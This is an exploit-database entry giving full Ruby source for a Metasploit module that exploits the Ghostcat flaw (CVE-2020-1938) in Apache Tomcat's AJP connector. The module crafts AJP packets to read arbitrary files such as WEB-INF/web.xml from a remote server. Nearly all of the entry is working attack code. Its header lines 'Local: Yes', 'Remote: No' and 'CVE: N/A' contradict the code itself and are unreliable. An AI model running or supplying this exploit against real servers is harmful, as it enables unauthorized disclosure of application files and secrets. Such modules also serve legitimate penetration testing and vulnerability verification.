Apache Tomcat AJP Ghostcat File Read/Inclusion (Metasploit)

2020.11.21
Credit: ThienNV
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

require "msf/core" class MetasploitModule < Msf::Auxiliary Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, "Name" => "Ghostcat", "Description" => %q{ When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations. }, "Author" => [ "A Security Researcher of Chaitin Tech", #POC "ThienNV - SunCSR" #Metasploit Module ], "License" => MSF_LICENSE, "References" => [ [ "CVE", "2020-1938"] ], "Privileged" => false, "Platform" => %w{ java linux win}, "Targets" => [ ["Automatic", { "Arch" => ARCH_JAVA, "Platform" => "win" } ], [ "Java Windows", { "Arch" => ARCH_JAVA, "Platform" => "win" } ], [ "Java Linux", { "Arch" => ARCH_JAVA, "Platform" => "linux" } ] ], "DefaultTarget" => 0)) register_options( [ OptString.new("FILENAME",[true,"File name","/WEB-INF/web.xml"]), OptBool.new('SSL', [ true, 'SSL', false ]), OptPort.new('PORTWEB', [ false, 'Set a port webserver']) ],self.class) end def method2code(method) methods = { "OPTIONS" => 1, "GET" => 2, "HEAD" => 3, "POST" => 4, "PUT" => 5, "DELETE" => 6, "TRACE" => 7, "PROPFIND" => 8 } code = methods[method] return code end def make_headers(headers) header2code = { "accept" => "\xA0\x01", "accept-charset" => "\xA0\x02", "accept-encoding" => "\xA0\x03", "accept-language" => "\xA0\x04", "authorization" => "\xA0\x05", "connection" => "\xA0\x06", "content-type" => "\xA0\x07", "content-length" => "\xA0\x08", "cookie" => "\xA0\x09", "cookie2" => "\xA0\x0A", "host" => "\xA0\x0B", "pragma" => "\xA0\x0C", "referer" => "\xA0\x0D", "user-agent" => "\xA0\x0E" } headers_ajp = Array.new for (header_name, header_value) in headers do code = header2code[header_name].to_s if code != "" headers_ajp.append(code) headers_ajp.append(ajp_string(header_value.to_s)) else headers_ajp.append(ajp_string(header_name.to_s)) headers_ajp.append(ajp_string(header_value.to_s)) end end return int2byte(headers.length,2), headers_ajp end def make_attributes(attributes) attribute2code = { "remote_user" => "\x03", "auth_type" => "\x04", "query_string" => "\x05", "jvm_route" => "\x06", "ssl_cert" => "\x07", "ssl_cipher" => "\x08", "ssl_session" => "\x09", "req_attribute" => "\x0A", "ssl_key_size" => "\x0B" } attributes_ajp = Array.new for attr in attributes name = attr.keys.first.to_s code = (attribute2code[name]).to_s value = attr[name] if code != "" attributes_ajp.append(code) if code == "\x0A" for v in value attributes_ajp.append(ajp_string(v.to_s)) end else attributes_ajp.append(ajp_string(value.to_s)) end end end return attributes_ajp end def ajp_string(message_bytes) message_len_int = message_bytes.length return int2byte(message_len_int,2) + message_bytes + "\x00" end def int2byte(data, byte_len=1) if byte_len == 1 return [data].pack("C") else return [data].pack("n*") end end def make_forward_request_package(method,headers,attributes) prefix_code_int = 2 prefix_code_bytes = int2byte(prefix_code_int) method_bytes = int2byte(method2code(method)) protocol_bytes = "HTTP/1.1" req_uri_bytes = "/index.txt" remote_addr_bytes = "127.0.0.1" remote_host_bytes = "localhost" server_name_bytes = datastore['RHOST'].to_s if datastore['SSL'] == true is_ssl_boolean = 1 else is_ssl_boolean = 0 end server_port_int = datastore['PORTWEB'] if server_port_int.to_s == "" server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 end is_ssl_bytes = int2byte(is_ssl_boolean,1) server_port_bytes = int2byte(server_port_int, 2) headers.append(["host", "#{server_name_bytes}:#{server_port_int}"]) num_headers_bytes, headers_ajp_bytes = make_headers(headers) attributes_ajp_bytes = make_attributes(attributes) message = Array.new message.append(prefix_code_bytes) message.append(method_bytes) message.append(ajp_string(protocol_bytes.to_s)) message.append(ajp_string(req_uri_bytes.to_s)) message.append(ajp_string(remote_addr_bytes.to_s)) message.append(ajp_string(remote_host_bytes.to_s)) message.append(ajp_string(server_name_bytes.to_s)) message.append(server_port_bytes) message.append(is_ssl_bytes) message.append(num_headers_bytes) message += headers_ajp_bytes message += attributes_ajp_bytes message.append("\xff") message_bytes = message.join send_bytes = "\x12\x34" + ajp_string(message_bytes.to_s) return send_bytes end def send_recv_once(data) buf = "" begin connect(true, {'RHOST'=>"#{datastore['RHOST'].to_s}", 'RPORT'=>datastore['RPORT'].to_i, 'SSL'=>datastore['SSL']}) sock.put(data) buf = sock.get_once || "" rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") ensure disconnect end return buf end def read_buf_string(buf, idx) len = buf[idx..(idx+2)].unpack('n')[0] idx += 2 print "#{buf[idx..(idx+len)]}" idx += len + 1 idx end def parse_response(buf, idx) common_response_headers = { "\x01" => "Content-Type", "\x02" => "Content-Language", "\x03" => "Content-Length", "\x04" => "Date", "\x05" => "Last-Modified", "\x06" => "Location", "\x07" => "Set-Cookie", "\x08" => "Set-Cookie2", "\x09" => "Servlet-Engine", "\x0a" => "Status", "\x0b" => "WWW-Authenticate", } idx += 2 idx += 2 if buf[idx] == "\x04" idx += 1 print "Status Code: " idx += 2 idx = read_buf_string(buf, idx) puts header_num = buf[idx..(idx+2)].unpack('n')[0] idx += 2 for i in 1..header_num if buf[idx] == "\xA0" idx += 1 print "#{common_response_headers[buf[idx]]}: " idx += 1 idx = read_buf_string(buf, idx) puts else idx = read_buf_string(buf, idx) print(": ") idx = read_buf_string(buf, idx) puts end end elsif buf[idx] == "\x05" return 0 elsif buf[idx] == "\x03" idx += 1 puts idx = read_buf_string(buf, idx) else return 1 end parse_response(buf, idx) end def run headers = Array.new method = "GET" target_file = datastore['FILENAME'].to_s attributes = [ {"req_attribute" => ["javax.servlet.include.request_uri", "index"]}, {"req_attribute" => ["javax.servlet.include.path_info" , target_file]}, {"req_attribute" => ["javax.servlet.include.servlet_path" , "/"]} ] data = make_forward_request_package(method, headers, attributes) buf = send_recv_once(data) parse_response(buf, 0) end end


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